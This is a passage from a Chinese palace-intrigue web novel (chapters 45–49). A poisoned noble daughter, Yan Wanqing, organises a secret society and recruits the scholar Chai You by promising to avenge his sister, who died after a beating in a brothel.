“行了,告诉你也无妨。”燕晚清目光幽深了些许,她在空中挥了挥手,便有暗卫替她清场子,她看着燕凌珍,表情沉静:“是父亲下的毒。” 燕凌珍眸光闪了闪,没有吭声。 过了好半饷,她双手捏紧了燕晚清的手,嗓音略显沙哑:“知道了阿姐,我一定会替你把毒解了的,只是小六也有个要求,希望阿姐答应。” “你说说看。” 燕凌珍沉默片刻,小脸十分认真:“阿姐要做的事情,小六也想帮忙。” 似乎是看见燕晚清蹙眉,生怕她不答应,燕凌珍又急急地说道:“小六不是小孩子了,阿姐在我这个年纪振臂一呼便是千军万马,小六虽然没有阿姐厉害,但也是个神医,外面人千金找我看病,我都未必去的,阿姐可别小瞧我了。” “还有阿姐的姽婳堂,我可以帮阿姐发扬光大,阿姐阿姐,人多力量大,你看看我,我真不赖的。” 燕晚清被她摇晃着身体,心里颇为无奈:“你先停下,晃得我头晕。” 燕凌珍赶紧停下了,眼巴巴的盯着燕晚清,像个可怜唧唧的小狗。 “你要如何帮我把姽婳堂发扬光大,说来听听。”燕晚清问道。 燕凌珍立马跳下床,从案几上找来纸笔,然后在上面涂涂写写,弄的满手都是墨汁,写完之后献宝似的递给了燕晚清。 燕晚清满心期待的接过来,结果上面的字缺胳膊少腿儿的,又全都是墨汁,字也写的歪歪扭扭跟狗爬一样,她蹙眉:“小六你的字,真是不忍直视。” 燕凌珍一把将纸张拿走:“不重要不重要,阿姐看不懂,我来讲解。” “首先一个组织的崛起必须是得有架构的,姽婳堂下面可以有很多分堂,大家各司其职,共同将姽婳堂发扬光大。” 燕晚清觉得有点道理,这个跟她的想法不谋而同,只是她没有想到燕凌珍小小年纪就有如此眼界,不由得内心十分自豪。 这是她的妹妹哎! “展开说说。”燕晚清面上毫无表情。 燕凌珍思索了一下,继续说道:“比如说我们可以有很多部门,人才部广纳贤才,财务部专门负责赚钱,还有医疗部专门给人治病……” 这一天燕凌珍直接刷新了燕晚清的认知,俩姐妹聊了很久,等到燕凌珍要离开的时候,姽婳堂的架构已经基本上完整了。 松鹤堂:用于广纳贤才,只要有才有识之人便可投入松鹤堂名下,为他们提供钱财提供方便甚至为他们引荐,不局限于大渭,面向六国。 金钱豹:专注于商贾之道,挣钱之道,为其他组织提供物资钱财,燕晚清初步决定从江南开始,再通塞北,实现六国货币垄断。 同仁堂:招揽天下神医名士,收集天下珍贵药材,以红佛手为首面向六国出诊。 这几个只是明面上的,等燕凌珍走了之后,燕晚清又加了两个。 风雨楼:暗部杀手部门,专门处理一些特殊问题。 铁马街:铁匠一条街,明面上是打造农具,暗地里面向六国出售兵器铁甲用于战争。 烟花巷:烟花柳巷,用于收集达官贵人之间的秘辛把柄。 燕晚清从不是心慈手软之人,前世种种给她的教训太过于深刻,这辈子她不得不去准备一些非常手段。 想她燕家铁骨铮铮,赤胆忠心保护大渭百姓还有皇室,可是那高权之上的人想杀便杀,那百姓想骂便骂。 根本没有人会在乎什么是真相,没有人会记得他们燕家儿郎在战争场流血不流泪。 既然如此,这一世,她便要站在绝对的权势最高点,捏住所有人的把柄,让他们再也没有办法随意决定燕家人的生死! 黑夜中燕晚清半眯着双眼:“都听到了吧。” “听到了主子。” “去查一下小六,越详细越好。”听不出情绪的话语声。 她想知道小六身上究竟都发生过什么。 另外一边的燕凌珍吃完手里最后一颗栗子,突然哎呀出声:“今日阿姐房里的药香忘记换了。” 第四十五章 千机之毒,没有解药 燕晚清咳血的事情很快便再次传了出去,京都各个家族连续送来慰问,尤其是七皇子府上,千年的人参像是不要钱一样送到了镇国府。 很快库房里便塞得满满当当的,塞不进去的孙氏便让人送到了燕晚清的院子里。 从欢看着院子里堆叠成山的补品,眼里都是艳羡。 “七皇子殿下对咱家小姐太好了,这棵血参听说整个京都独一份,现在在我们家小姐这里了。” 她说的声音很大,直接传到了屋子里的人耳朵里,似乎生怕里面听不见似的。 “小点声,不要打扰小侯爷和小姐说话。”从歌皱着眉头提醒,自从知道了这丫鬟的心思,再看她只觉得每句话每个动作都感觉别有用心。 从欢噘着嘴不开心:“这都是能看得见的东西,我又没说假话哦,小姐也该明白谁才是对她最好的人。” 话越说越没边了。 从歌冷下脸来,伸出手便在她胳膊上拧了一下:“胡说八道些什么,你给我过来!”说着将人拎到了边上。 屋子里的人听着外面的动静逐渐小了,才又开始继续下棋。 燕晚清始终噙着一抹浅笑,整个人看起来特别的温润温柔,就好似春日里被微风吹拂摇晃飘落的梨花。 “平日管教不严,让小侯爷见笑了。” 怀玉无奈的点点头:“胳膊肘这般嚣张往外拐的丫鬟,属实是有点管教不严了。” 话里有话。 燕晚清勾唇,将白子轻轻落下:“挺有趣的,就留下了,不然用什么来打发这纸醉金迷的京都生活呢。” 怀玉看着她毫无血色的唇瓣,眼光微闪:“你的身子现在到底是什么情况?” “无碍,还死不了。” 听着少女自我嘲讽的话语,怀玉心思动了动:“若是你能跟我去一趟北疆,兴许能够调理好你这身子,甚至还有回到当年兴盛时期的希望。” “兴盛时期?”燕晚清在嘴里咀嚼这几个字。 她何尝不想回到巅峰时期,一把灵蛇剑问鼎苍穹,可是这些天练功下来的结果是身子越来越差,咳血的间隔也是越来越短。 她知道这是千机毒在警告她,告诉她若是再做一些无用功的反抗,只会加速身体的衰败和死亡。 正想着,门口钻进来一个小丫头,怀里大包小包的抱着,进来便直奔着香炉过去,嘴里念叨着:“你可别骗我阿姐,北疆人都喜欢玩虫子,那玩意儿邪乎的很,轻易不能碰的。” “燕凌珍!不得无礼,这位是北疆的小侯爷。”燕晚清清了清嗓子,拿出了自己身为长姐的姿态。 燕凌珍皱了皱小鼻子,原地对着怀玉行了个不标准的礼:“见过小侯爷。” 燕晚清在一旁说道:“小侯爷别见怪,这是我燕家小六。” “六小姐性情中人,听她的语气似乎对蛊有所研究。”怀玉饶有兴趣的说道。 燕凌珍靠近自家阿姐,从口袋里掏出一个小瓷瓶,导出五颜六色的丸子,拿出一颗绿的递给燕晚清:“吃一颗。” 燕晚清没有犹豫,直接拿起药丸便塞进了嘴里。 “可要用水服用?”怀玉刚问,便见燕晚清喉结滚动,开口说话:“不用。” 她直接硬吞了一颗药。 燕凌珍笑嘻嘻道:“不愧是我阿姐,寻常女子吃一颗药都要喝一杯水,还扭扭捏捏说苦。” 燕晚清摸了摸她的头发:“她们这般也很正常,你只需知道你阿姐不太正常就行。” 姐妹俩的互动怀玉看在眼里,脸上也不由得染上了笑意:“你们姐妹几个的感情都挺好的。”上次那个五妹也是这样粘着燕晚清。 燕晚清脑海中有前世今生的画面,一闪而过,她闻言笑着点头:“是啊。” 燕凌珍却歪着脑袋反问怀玉:“难道小侯爷家里兄弟姐妹的感情不好吗?” 怀玉被问的一愣,他家里……那自然是不太好的。 “我母亲只生了我一个,其他的姊妹也没有养在我母亲身边,所以自小便比较生疏,比不上你们姐妹的感情,所以一时之间有些艳羡了。” 怀玉话说了一半。 北疆那边的人都只想弄死他,然后继承侯爵,对他根本没有什么兄弟姐妹之情。 想到这里,怀玉眼眸深处都是戾气。 “你输了。”燕晚清将白子落下,笑道。 怀玉低头看着棋盘,突然莞尔:“下了一下午,输少赢多,天底下只怕也鲜少能找出和郡主棋艺旗鼓相当的人了。” “我师承宋化虚,跟师父下棋,我从未赢过。”燕晚清想到了一些往事。 怀玉愣了一下:“竟然如此之巧。” “小侯爷此话怎说。” “说来也是唐突,我此来京都也是想要和国师大人见一次面,只是一直没有找到合适的机会,若郡主是国师大人的徒弟,那不知道能否替我引荐一番?”怀玉有些不好意思的摸了摸后脑勺。 燕晚清犹豫了片刻,答应下来:“好,刚好我也有些事情想要问一问师父。” 怀玉面上一喜,又是好一番道谢,好不容易等人走了,燕凌珍就忍不住了。 “阿姐,你有没有觉得他有点奇怪?” 燕晚清正在观摩棋盘:“怎么说?” “是个男人,却偏偏多了女子的阴柔之气。”燕凌珍咋舌:“实在是怪异。” 燕晚清将白子悉数收进了棋篓里,只留下了黑子,面上笑意很淡:“他的棋路和他的人一样。” 说实话,燕晚清也没有彻底摸清楚怀玉。 这个人给她的感觉就是像是蒙了一层纱,缥缈虚无,摸不透。 不过目前可以确定的是,怀玉对她对燕家还没有坏心思。 既然是这样,那她也不会去挖人家的秘辛。 “懒得管了。”燕凌珍从怀中掏出一个小巧的包裹,小心翼翼的摊开放在了案几上,灯火闪烁下,软布上的银针熠熠生辉。 燕晚清微微挑眉:“你这是?” “红佛手为什么被称为佛手呢?自然是一套银针走穴出神入化了。”燕凌珍说着便拔出一根针,在燕晚清还没有反应过来的情况下扎在了她的手腕上。 很快一套针便全部用完。 燕凌珍神色凝重,表情越加不安。 “这个毒……是千机吗?” 看着燕晚清点头,燕凌珍抿着唇不再言语,将银针一一拔下。 “事情没有我想的那么简单,千机之毒,没有解药,至今也无人研究出解药……虎毒不食子,阿姐,你可以告诉我父亲到底为何要下此毒手?!” 第四十六章 没有人走的路,她来走 虎毒尚且不食子,为何镇国公会对燕晚清下一个无解的毒药…… 燕晚清眼中闪过一丝沉痛,很快她便自嘲道:“大概是父亲觉得我天生反骨,不加以管教便会酿成大错。” 她确实也给了很多人这种错觉。 燕凌珍不忍看自家阿姐这般情绪低迷,她皱了皱小鼻子,伸出双手抱住燕晚清:“阿姐你别怕,小六一定会治好阿姐的。” 燕晚清回抱她,心思微沉。 年少时她一夕之间变成了个废人,哪怕那个时候她的心里也没有怨恨过父亲,因为她知道每个家族都必须有人去做出牺牲,父亲和大哥是这样做的,她身为燕家的嫡长女也应该这样。 如今她已经违背了燕家的组训,也违背了父亲从小教育她的忠孝仁义,远在雁门关的父兄若是知道,不知道心里会作何感想…… 会不会失望她败坏了燕家百年的门庭,指责她脏污了燕家人的血脉,燕晚清不敢想,她只是不想再经历一次前世,不想看见这些至亲至爱倒在自己面前,不想再怨恨自己的无能为力。 如果这是一条没有人走过的路,那么就让她来走。 道阻且长,泥泞险滩,她都可以一一笑纳。 骂名又如何,用她一个人的污浊保住整个燕家人性命,自然是值得的! “小六,能不能答应阿姐一件事。” 燕晚清摸了摸燕凌珍的小脑袋,感受着发髻在她掌心的触感,柔软又安心。 燕凌珍看不到燕晚清的表情,只有一律清香在鼻尖萦绕不断,她声音有些闷的回答:“阿姐的事情,一万件都是可以的。” 她说完便听见燕晚清的声音在耳畔响起。 “……如果,阿姐是说如果,真的到了那天,六妹别自责——” “阿姐!”燕凌珍不等燕晚清说完,一把推开她,燕晚清这才注意到小六已经双眼通红,一双眼睛泪汪汪的看着自己,充满了委屈。 只见她冲着自己大喊:“不许乱说话!谁也不能抢走阿姐!谁也不能!阿姐再乱说,我以后都不理你了!”她说完转身直勾勾的就跑了出去,还将一旁收拾衣服送过来的从欢给撞倒在地上。 从欢被撞得生疼,想要骂点什么,却又顾及燕晚清,只得抽气,自己爬起来拍了拍衣服上的灰尘。 “六小姐这是怎么了?”从欢看着燕小六的背影禁不住问道。 燕晚清双眸低垂落在棋盘上,没吭声。 从欢只当她是难过,安慰道:“六小姐还是小孩子心性罢了,过两天就好了。” 燕晚清双手捧着棋篓,骨节发白。 “小孩子心性么……也许她真的是被我伤到心了。” 最后几个字含在唇边,轻的只有她自己能听见。 正月总是阴晴不定的,没几天的好日头,大雪再次封了城。 只看见天空中飘着鹅毛大雪,扑朔而下,一夕之间便盖住了京都的红墙黑瓦,就连平日里热闹非凡的后街,也只剩下几个酒铺零星开着,高高悬挂的“酒肆”旗帜被风雪重重裹上一层,迎着风都飘动不起来了。 偶有风雪客从街道上走过,在漫天白色中留下一串浅灰色的阴影,很快便被新一任的大雪继续覆盖掩埋,好似从未来人间走一趟罢了。 每家每户都围在火炉前唠着家长里短,煮茶烤番薯,将日子过得暖暖活活,有滋有味的。 万物都在享受此刻的寂静,偏生此刻城门口骤然出现一匹黑马,黑马之上趴着一个雪人,马儿哼吃着热气,只将人堪堪送到了城门下,便不堪重负的轰然倒地,那马背上的人落在地上,身上的风雪才被震散落在旁,露出一张黑红被冻伤的面庞来…… 一人一马倒在地上,很快又被北风刮过来的风雪遮盖住,只在城门口留下一高一矮两座小雪堆,丝毫没有引起城门内喝酒吃肉守门人的注意。 …… 天气越冷,燕晚清的身子便越发遭不住。 她已经连续好几日都没有下榻了,整日裹着被褥躺着,感觉自己就像个废物,偏偏她还不能有什么动静,哪怕只是轻轻咳嗽一声,这群人都要担惊受怕。 所以就连咳嗽燕晚清都忍得很辛苦,屋内炉火很旺,她脸蛋都被热的驼红,嗓子眼还痒得厉害,忍得她两眼泪汪汪的。 实在忍不下去了,她开口喊了从歌倒水,借着喝水呛到,狠狠地咳嗽了个舒服。 咳嗽完了,又喝了些许热水,燕晚清整个人都舒服多了,这几日她昏昏沉沉很嗜睡,应该是千机之毒又严重了。 她疲惫的揉了揉眉间,在从歌的搀扶下重新躺下,脑子里又开始混沌起来。 这几日她疲于千机的毒,昏睡的时间比清醒的多,几乎没有什么精力去管其他事情。 等到从歌熄了灯,关上了门。 黑夜中的燕晚清重新睁开了双眼,她双手撑着身子,慢慢斜靠在床榻上,声音平稳了很多。 “红雾,否极这几天有什么事情发生么?” 黑暗中两道人影突然闪现,单膝跪在地上。 “主子让我们接触的那些富商,基本上都已经归属金钱豹,还有小部分属于其他的势力,目前还在调查当中,极有可能是第十八层地狱的势力。” “十八层地狱?”燕晚清咀嚼这几个字:“京都的势力,插手到了江南?” 前世她也听说过这个势力,不过藏得太深,又和她没有多少瓜葛,便没有深入研究。 “听闻十八层地狱主子是个喜欢带着黑面獠牙面具的青年人,常年笼罩在黑袍之下,没有人知道他的真实面目……因为知道的据说都已经死了。”否极皱着眉头补充道。 燕晚清听罢微微蹙眉:“看起来是个极其不好相与的人,我们没有完全茁壮起来,还是不要和他们硬碰硬。” “诺。” “诺。”红雾和否极齐声说道。 “柴先生那边处理的如何?他妹妹让人赎出来了么?”燕晚清继续问道。 这是这几日昏沉时间里,她一直都在想的一件事情。 柴右是她复仇路上一颗重要的棋子。 “按照主子的香囊行事,已经救下了柴先生的妹妹,只不过去的时候她被客人打的生命垂危,主子生病的这几天,已经香消玉损了。”红雾说道。 燕晚清听得蹙眉:“什么?!不是说这段时间不让她接待任何客人么,这到底是怎么回事?” 红雾表情为难:“是孙家公子……” 燕晚清双眸微冷:“孙文兴?” 第四十七章 再等三日,不来便当弃子 “是孙家公子点名要的柴姑娘,那老鸨也没有任何办法,等我们的人赶过去的时候,孙公子刚好走,于是我们便帮忙把柴姑娘赎了出来,交给了柴先生。” 红雾说着语气也跟着越发的无奈起来,这是他们没有意料到的意外。 谁能知道那孙文兴下大雪还往那烟花柳巷里钻,但这也是他们职责失察,想到这里,红雾低下头,双膝跪在了地上:“请主子责罚。” 燕晚清没有吭声,黑暗中的脸色意味不明。 红雾低着头浑身都在颤抖,否极也极其沉默。 他们跟了燕晚清这么多年,实在是太清楚她的一举一动了,此时一言不发,不代表这件事情她可以不追究。 不知道过了多久,燕晚清终于开口,声音有点沙哑。 “柴先生……他当时表现如何?” 否极立刻接话道:“柴先生当时情绪比较激动,但是这几天他情绪很平静,像是已经缓过来了。” “呵……缓过来?”燕晚清低低的笑了。 柴右和她是一种人,不在沉默中爆发,就在沉默中灭亡,她实在是太了解他了。 目前的平静只是在酝酿更大的汹涌波涛。 “再等三日,如果柴右还没有过来找我,就放弃吧。”此子若是不能为她所用,只能算是终身遗憾,这是她的命数,怪不得任何人。 听完柴右的消息,燕晚清变得更加疲惫了:“没什么事情你们就退下吧。” 否极表情有些犹豫,他皱了皱眉头,还是决定开口。 “事情有关六小姐,属下不敢耽搁,最近六小姐在黑市高价收‘千机’,因为她的身份特殊,主子还是知道一下比较好。” “高价收千机……”燕晚清此刻头疼欲裂,她想到前些时日燕凌珍哭着说一定要治好自己的画面,不由得心中微动,软了几分:“不用管她,她想要什么你们第一时间送过去便是。” 红雾否极赶紧应下。 “行了,退下吧。”燕晚清挥了挥手,房间里又恢复了安静。 孙文兴是威武大将军孙家的庶子,平日里胡作非为不学好,记得前年犯事就被孙贵妃大义灭亲流放到了偏远之地,不知何时回到的京城,这一回来便惹是生非,惹上了人命,还偏偏是柴右的妹妹。 她觉得有必要明天让人去查查孙文兴是怎么回来的。 次日清晨,难得风雪停了。 燕晚清用完早膳,否极便回来了。 她遣散了丫鬟,喝着药汁,听着他汇报。 孙文兴是前些时日刚回的京都,他的亲生母亲,孙家的那位姨娘前前后后花了不少银两。 “估算时间,该是和老太太同一拨时间进来的。”燕晚清眯着眼睛盘算着日子:“这二者之间是不是也有联系,可有查过?” 否极摇头。 他没有往这个上面想,孙文兴并不是跟着老太太车队一起回来的。 “那天晚上孙文兴旁边的陪同都有谁。”燕晚清又问道。 这件事情牵连到了孙家,那必定会牵扯到表姐,所以她得细致对待,不能放过任何一个细节。 这个否极一早便查了个通透,还画出了画像,此时拿出来交给燕晚清查看。 燕晚清翻看着上面的男子,都是京都赫赫有名的纨绔子弟,也难怪大雪封城的时候还能留恋花街柳巷。 等翻到一张陌生面孔的时候,她微微挑眉:“这是谁?有些面熟。”但又没见过。 否极答道:“是主子的堂弟。” 燕晚清好看的眉头直接拧起:“是二叔家的孩子?” “是。” 得!这回燕家也搭进去了。 燕晚清只觉得眼前一黑。 “主子,没事吧?”否极见她脸色发白,不由得有些担心。 燕晚清伸出手,将案几上的药汁端起一饮而尽,苦的她都麻木了,好半饷她才找到自己的声音:“二叔的孩子叫什么,现在在哪里?” “叫燕民生,自从那日出事后,便再也没有出现过,想来应该是和孙文兴一起躲起来了。” 燕晚清闻言冷笑:“躲?!他们杀了人,还想躲到天边去不成?!孬种!” 柴右是什么人,面热心冷,又老谋深算,平生最是记仇。 也难怪前世自己给柴右递拜帖,他从来就没有同意过见自己。 可能里面早就牵扯到了个人恩怨。 “派人盯着二婶,看看她最近都在干什么。”燕晚清挥手让否极下去,眼下找不到人,自然没有办法进行下一步,不然她非压着这两个崽钟去给柴右跪下赔罪。 用两个混账换一颗柴右忠心,燕晚清自然知道这笔账有多么划算。 现在唯一算不准的就是柴右是怎么想的。 时间一天天的过去了,眼见着到了第三天。 已经是傍晚时分,天空中又下起了鹅毛大雪,她听着否极汇报,说柴右出门给妹妹的坟墓撑伞之后,人消失在了城门口,心便凉了半截。 应该是没戏了。 燕晚清盯着窗外,积雪越来越厚,天色也越发的阴沉下来。 她语气跟着阴郁下来:“二婶那边情况如何?” “这几日一直大雪,未见外出。”否极回答道,他不解的看着燕晚清,看她目光深沉一直盯着窗外,实在是憋不住了:“主子,那柴右究竟何德何能,现在也不过就是个吃喝嫖赌样样俱全的垃圾罢了,哪里值得主子如此用心。” 燕晚清苦笑。 “世人只看到他吃喝嫖赌,哪里知道那副浪荡不羁躯壳下的狼子野心,柴右此人若不能为我们所用,也不能站在我们的对立面,如果真到了那天,我会不惜一切代价——”话语突然收住,杀气凛然。 她必不可能让柴右的事情来加速燕孙两家的灭亡。 “罢了,不等了。”她收回眼神,慢慢转过身去。 就在这时从歌从外面举着伞叩响了门:“小姐,外面来了个人,非说要见小姐,死活不肯走。” 燕晚清的心一下子提了起来,她拉开门:“人在哪?” “在前厅候着了。”从歌话刚说完,便看见燕晚清疾步往外走去,她着急喊道:“小姐,天这么冷,你穿的单薄,好歹裹个披风啊……” 回应她的是一串冲进雪色中的青衫背影。 到了前厅后,燕晚清隔着大门便看见了人,是柴右。 她稍微喘着气从门口走进来,柴右便对着她行了个礼:“雪天叨扰,见过安平郡主。” “先生不必多礼。”她吩咐丫鬟们上热茶,对着柴右笑道:“先生请坐。” 两人刚落座,从歌也拿着披风从门外进来,等披风裹在了她的身上,燕晚清才觉得自己浑身有些发冷。 这一幕都被柴右看在了眼里,这几日他身形消瘦,嘴唇都被冻得干裂,他突然站起身,直勾勾的朝着燕晚清跪了下来。 燕晚清愣了一下:“先生何故?” “柴某只求郡主一件事,事情办成之后柴某终身原为郡主驱驰,效犬马之劳!”说着他直接在地上磕了三个响头! 第四十八章 柴右过往,证明价值 见到柴右下跪,她没有第一时间去扶。 而是端着丫鬟们新上的热茶,脸上意外的没有什么情绪。 “先生所求何事,不妨先说来听听。” 她求贤若渴,却也不想被人拿捏把控。 如果不能彻底让柴右臣服,那么无疑是在身边养了一条恶犬,这不是她想要的结果。 柴右额头紧紧的贴着地面,声音沙哑粗噶,他知道求人要有求人的态度。 “求郡主替柴某报妹妹被杀之仇!”他以绝对屈服的姿态匍匐在地上,指尖早就因为冻疮还鲜血淋漓,整个人看起来单薄又坚韧。 燕晚清有些于心不忍,却还是撇开了眼,继续道:“柴先生应该知道,那人与本郡主的关系,先生就这般信我?” 柴右紧贴着地面:“那就要看柴某对于郡主而言,是否值得了。” 沉默…… 直到丫鬟们重新换了一壶热茶,燕晚清才低低的笑出了声,不似平日那般温和,眼底都是阴翳,她笑道:“本郡主可以答应你,但是在此之前还请先生答疑解惑。” “郡主请讲。” “地上凉,快去扶先生起来说话。”燕晚清说道,便有丫鬟去扶柴右。 二人坐在椅子上遥遥相望,燕晚清笑意不达眼底:“先生愿为妹卖身复仇,那为何还要拿着她卖身在烟花楼挣的钱去赌坊呢?先生可是虚伪?” 这一席话可以说得上是极其刺骨冰冷,问的柴右身子都跟着颤抖了一下。 过了好半饷,他才用沙哑的嗓音说出了一个故事。 柴右六岁那边母亲病逝,父亲便迎了继母过门,还带过来一个三岁大的小女孩,也就是后来的柴姝。 柴右从小变天资聪颖,看到柴姝的瞬间,便知道平日里父母的恩爱都是装的,不然何故父亲还在外面养了个外室,孩子只比自己小三岁。 继母后面又为父亲生了几个弟弟妹妹,却都没有那个福气养大,一来二去的,继母便也歇了再生养的心思。 专心的养着柴家唯一的男丁,柴右。 可是那个时候柴右只觉得继母面慈心狠,加上丧母之痛让他极其厌恶回到家,整日便在外面与狐朋狗友喝酒玩闹,烂摊子全部交给继母收拾,一来二去的继母也厌烦了,三天两头的吵架之后,柴右更加鲜少回家。 可那个时候还有柴父在中间维系着感情,直到他喝多了错过了科考那年,父亲也与他断绝了来往。 失去了家中支持的他,穷困潦倒,只有柴姝会偷偷的卖掉自己的首饰接济他,两个人一来二去的也有了些兄妹情谊。 再往后便是柴家被连坐牵连,柴父不堪重负一夜病逝,继母一根白绫也跟随而去,只留下柴姝一个人,在流放的路上被人拐卖,失去了音讯。 那个时候柴右外出游学逃过了一劫,兄妹二人至此失去了联系,再见面的时候便是柴姝被困烟花楼的时候了。 那是个怎样的场景啊。 柴姝从上一个恩客的榻上下来,便被老鸨拖到了下一个客人的房间里。 却没有想到这个客人竟然是自己失散已久的哥哥。 兄妹二人相顾无言,却不等柴姝相认,柴右落荒而逃。 他有身为读书人的清高,不能接受柴姝流落烟花之地还苟活于世,让柴家蒙受屈辱,所以他一时想不开,越发放荡不羁,甚至进了赌坊染上了恶习。 很快他便赌输了全部家产,被赌坊的打手第一次殴打的时候,是柴姝救下了他。 之后的几次,也都是柴姝用自己卖身的钱给柴右还的赌债,可赌债越滚越多,压得他们二人喘不过气来,直到那天他差点被人打死,却被燕晚清救下。 “……我跟姝儿约好了的,再也不赌了,可是……”柴右眼眶凹陷,里面都是泪水,他忍不住的自责:“那日我带着钱去给姝儿赎身,却见雪越下越大,刚好路过赌坊门口,我便想进去躲雪……我,我真的只是进去躲雪,没有赌。”柴右说着哽咽起来:“一时之间入了迷,等我再过去的时候,姝儿已经被人打了。” “我,我若是当时能够早点过去,兴许这一切都不会发生……其实该死的人是我,是我啊!为什么是她呢?她那么善良美好,老天爷为什么要让她受这么多的苦,为什么!” 柴右情绪激动不已,唇裂出血,整个人邋遢狼狈。 “……我把那日赎身的钱全部塞给了老鸨,才问出来那日和姝儿在一起的客人是谁。”柴右强迫自己情绪稳定,用拳头疯狂的敲打自己的心脏,表情越发的歇斯底里,声音卡在嗓子眼里:“柴某自知靠一己之力根本不足以与官斗,可是……” 他倏地看向燕晚清,眼睛里都是癫狂和炽热的复仇火焰:“柴某知道,郡主可以,郡主对柴某有所图,不是么?” 燕晚清毫不避讳他的目光:“孙文兴虽然是孙家庶子,却是我母亲的本家,更有个当贵妃的姐姐,本郡主若是帮你,那可是要冒着众叛亲离的风险的。” 她需要柴右证明自己的忠心,还有他的价值。 柴右双眼猩红,表情泠然:“郡主想要柴某做什么?” “三日之内,成为七皇子府上的门客。”燕晚清直接开口:“只要七皇子亲自过来邀请你,孙文兴本郡主会将他打包送到你的手里。” “君子一言——”柴右斩钉截铁。 燕晚清轻启薄唇:“驷马难追,先生请放心,本郡主以自己的人格担保。” 柴右深深的看了燕晚清一眼,双手作揖,恭恭敬敬的弯腰行了个读书人的礼,然后头也不回的走入了风雪之中。 燕晚清没有拦,她看着那抹毅然决然的身影,心里说不清楚是什么滋味。 三天,柴右要如何让萧鸿深青睐,邀请他成为七皇子府上座上宾呢? 这个问题的难度不小,丝毫不亚于燕晚清要在整个京都翻出孙文兴和燕民生的藏身之所。 燕晚清习惯性用舌尖舔了舔尖锐的虎牙,眼角都是深意。 可是事情终究是要有点难度,才会有趣不是么? 第四十九章 三顾石头巷,得柴右得天下 “现在大雪连绵,主子要如何找出孙文兴的藏身之所?”回到院子里,否极和红雾纷纷露出了身影。 燕晚清扫了他们两眼,无奈的摇了摇头:“你家主子什么时候主动去找过人。” “主子的意思是让他们自投罗网?”红雾接话道。 “还不算太笨。”燕晚清捏起桌子上的古籍翻开,随意靠坐在贵妃榻上,慢吞吞的说道:“孙文兴此人从小便是娇生惯养,是京都出了名的浪荡子弟,这种人是呆不住清净地方的。” “那就让烟花巷放出消息,就说楼里来了几个西域风情舞娘,那孙文兴必定会忍不住出现。”否极思忖道。 燕晚清朝他投去赞赏的目光:“跟了我这么多年,终于算是学了点东西。” 红雾见否极被夸了,心里有些酸:“属下这就让风雨楼的人在烟花巷候着,等到孙文兴出现了,就把他摁住。” 燕晚清点点头,就在此时门外传来脚步声,红雾和否极对视一眼,很快消失在屋内,只留下燕晚清安静的翻看着古籍。 从歌端着一盆热水推门而入。 “小姐,擦擦手。”她拿着热布给燕晚清擦手,欲言又止。 燕晚清抬眼看她:“说吧什么事。” 从歌这才忍不住说道:“从欢那个丫头三天两头的就和新来的门头接触,这些时日带的首饰换了一批又一批,指定是又憋着什么坏呢。” 燕晚清听完勾勾唇:“意料之中,留着她不就是为了这个效果么。” “小姐就打算这么一直惯着她?”从歌越想越生气。 “不急。”她擦干净手,将热布递回去:“等收网了,鱼饵就不需要了。” 横竖再让她蹦跶两天吧,到时候跟着萧鸿深一起下地狱就行了。 从歌端着盆出去,盆内的水冒着热气,一阵寒风从门缝中吹进来,燕晚清看着外面铺天盖地的白色,眼中的孤寂越发的明显。 “这雪,也该停了啊。”她喃喃说道。 另一边。 柴右深一脚浅一脚的回到了自己住的院子,院内杂乱不堪,屋顶甚至因为不堪积雪的重负,瘫了半截。 他面无表情的审视着目前的一切,又低头看了看自己皲裂的手,在大门口扯出一个笑,然后笑出声,最后演变成了仰天大笑。 只是笑着笑着,眼泪便从眼角流了出来。 隔壁户的门打开一个小门缝露出一颗小脑袋,两眼懵懂清澈直勾勾的盯着柴右,似乎在好奇这个怪叔叔又想干什么。 柴右擦干净眼角的泪水,从怀中掏出一个袋子,朝着那小人招了招手。 小男孩虎头虎脑的:“我娘不让我跟你玩。” 柴右用手在袋子里掏了掏,掏出一大把糖果,小男孩瞬间眼睛亮了,开了门走了过来伸手就要拿。 柴右拿出一颗放在他的手里:“不能白给你。” “你想干嘛?”小男孩嘴里吃了糖甜滋滋的,却依然保持着警惕心。 柴右声音放缓:“无功不受禄,你得帮我办件事情,只要办成了,这一袋子糖果都是你的。” “你可不许骗小孩,我娘说骗小孩的男人都是孬种。”小男孩目光紧紧的盯着钱袋子,柴右莞尔:“叔叔什么时候骗过你。” “这倒也是。”小男孩想了想,确实柴右虽然平日里不靠谱,对自己倒还是挺好的,从来没有骗过自己,只是他娘说柴右不学无术,不让他过来玩。 柴右将一大袋子里的糖又抓住一把来放在小男孩的手掌心:“再过一会儿雪就该停了,你背下我教你的这首歌谣,出去和朋友玩的时候你就教给他们,大家都会唱了,你就回来跟我拿剩下的糖。” “听起来不难,你说吧。”小男孩想了想这笔交易稳赚不赔,于是同意了。 柴右教会了他歌谣,便回屋烧水洗澡了。 当天下午,雪便真的停了,孩子们穿越在大街小巷之内,打雪仗堆雪人玩的开心不已,一首童谣口口相传,不过三日光景,整个京都的人都朗朗上口了。 “昆山如可得,窥门外有柴。朱轩骛关右,瑞呈霄汉得。高楼入青天,共理登方下。” 柴右那小破门,几乎要被人踩烂了。 小男孩趴在门上,透过门缝往外看。 这些人的马车轿撵都停在巷子口,将路都给堵上了。 正看着耳朵被人揪起。 小男孩疼的哇哇大叫:“娘!娘疼,疼啊!” “你今天吃了多少糖,牙不要了是吧!回去读书!看看你柴叔叔,平日里读书,现在多少达官贵人来找他,你以后要拿他当榜样知道吗!” “知道知道!娘放手,疼……” 小男孩龇牙咧嘴,他的娘亲听着隔壁的喧嚣,眼中都是艳羡。 “你柴叔叔,以后怕是要飞黄腾达了,咱们石头巷要出大人物了。” 柴右一身灰色袍子,送走了一批又一批的人,临近傍晚的时候,夕阳落在积雪笑容的青石板上,反射出橘色的光芒。 小男孩穿着臃肿的袄子走出来,好奇的问:“柴叔叔,这些人来找你干嘛的?” 柴右看着巷陌消失的轿撵,唇角露出柔和的笑意:“他们想让叔叔跟他们走。” “你不走吗?跟他们走就不需要住在这个石头巷了。” 柴右摇摇头:“他们不是我等的人。” 小男孩不理解:“可是他们都很有钱。” “那又如何?”柴右眼底闪过一丝阴翳,稍纵即逝,又恢复了风平浪静。 他转过身就要合上柴门:“天色不早了,待会儿你娘又该喊你吃饭了。” 小男孩却不动,指着巷陌一辆马车,嘴里吃着糖含糊不清:“又来了一个。” 柴右看着浑身裹在黑袍之下的身影,唇角露出一抹意味深长的笑意,他笑:“或许这个是我等的人。” 